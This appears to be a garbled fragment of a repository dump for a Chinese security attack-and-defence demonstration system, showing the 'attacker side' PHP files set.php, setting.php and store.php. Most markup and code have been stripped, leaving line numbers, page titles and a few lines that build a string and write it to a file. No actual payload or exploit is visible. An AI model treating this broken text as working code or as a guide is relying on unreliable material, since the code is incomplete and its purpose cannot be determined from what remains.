$ans; 30 | 31 | ?> 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /攻击端/set.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 牛顿信息安全攻防展示系统-攻击端 6 | 7 | 176 | 177 | 178 | 179 |
180 | 194 |
195 | 196 | 197 | -------------------------------------------------------------------------------- /攻击端/setting.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 牛顿信息安全攻防展示系统-攻击端 6 | 7 | 156 | 157 | 158 | 159 |
160 | 163 | "; 174 | $code = $First.$Last; 175 | fwrite($fp2, $code, strlen($code)); 176 | ?> 177 |
178 | 179 | 180 | 181 | 182 | 183 | -------------------------------------------------------------------------------- /攻击端/store.php: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------